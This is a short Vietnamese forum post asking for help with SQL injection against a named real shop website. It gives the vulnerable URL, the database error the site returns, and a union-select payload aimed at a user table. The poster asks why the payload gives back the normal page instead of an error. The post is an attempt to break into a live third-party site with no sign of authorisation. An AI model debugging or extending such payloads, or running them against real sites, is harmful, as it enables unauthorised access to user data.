Mình tìm được trang bị lỗi thế này
http://www.questarhomevideo.com/shopdisplayproducts.asp?cat=7'
Microsoft JET Database Engine error '80040e14'
Syntax error in query expression 'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c.catdescription like '7'%' and hide=0 order by cname'.
/shop$db.asp, line 478
Mình dùng query này để khai thác
union%20select%201%20from%20tbluser%22having%201=1--
tại sao nó không xuất hiện lỗi mà trả về 1 trang hiện hành của nó
Xin mọi người giúp đỡ lối tại sao...
|